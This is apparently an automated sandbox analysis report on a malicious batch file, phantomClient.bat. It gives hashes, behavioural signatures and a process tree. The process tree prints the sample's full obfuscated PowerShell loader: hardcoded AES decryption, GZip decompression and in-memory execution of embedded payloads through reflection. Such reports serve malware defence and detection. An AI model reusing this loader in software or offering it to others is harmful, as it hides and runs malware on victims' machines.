Analysis
-
max time kernel
122s -
max time network
128s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
21-01-2025 22:45
Static task
static1
Behavioral task
behavioral1
Sample
phantomClient.bat
Resource
win7-20241010-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
phantomClient.bat
Resource
win10v2004-20241007-en
21 signatures
150 seconds
General
-
Target
phantomClient.bat
-
Size
278KB
-
MD5
c7f70f6597b99690acab02390af9a913
-
SHA1
ec989e5b37d4d9bf56d9b330ed97826313ae3255
-
SHA256
f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
-
SHA512
991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
-
SSDEEP
6144:3LDqmpofOLfpSCTvwLEbxm1/zGfAaWK6NY8M2PZaNSRw4ia:bDqmpofOLfh73KqltvChaivL
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2984 powershell.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2984 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2984 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1300 wrote to memory of 2348 1300 cmd.exe 31 PID 1300 wrote to memory of 2348 1300 cmd.exe 31 PID 1300 wrote to memory of 2348 1300 cmd.exe 31 PID 2348 wrote to memory of 2352 2348 net.exe 32 PID 2348 wrote to memory of 2352 2348 net.exe 32 PID 2348 wrote to memory of 2352 2348 net.exe 32 PID 1300 wrote to memory of 1684 1300 cmd.exe 33 PID 1300 wrote to memory of 1684 1300 cmd.exe 33 PID 1300 wrote to memory of 1684 1300 cmd.exe 33 PID 1300 wrote to memory of 2984 1300 cmd.exe 34 PID 1300 wrote to memory of 2984 1300 cmd.exe 34 PID 1300 wrote to memory of 2984 1300 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\phantomClient.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:2352
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Local\Temp\phantomClient.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:1684
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984
-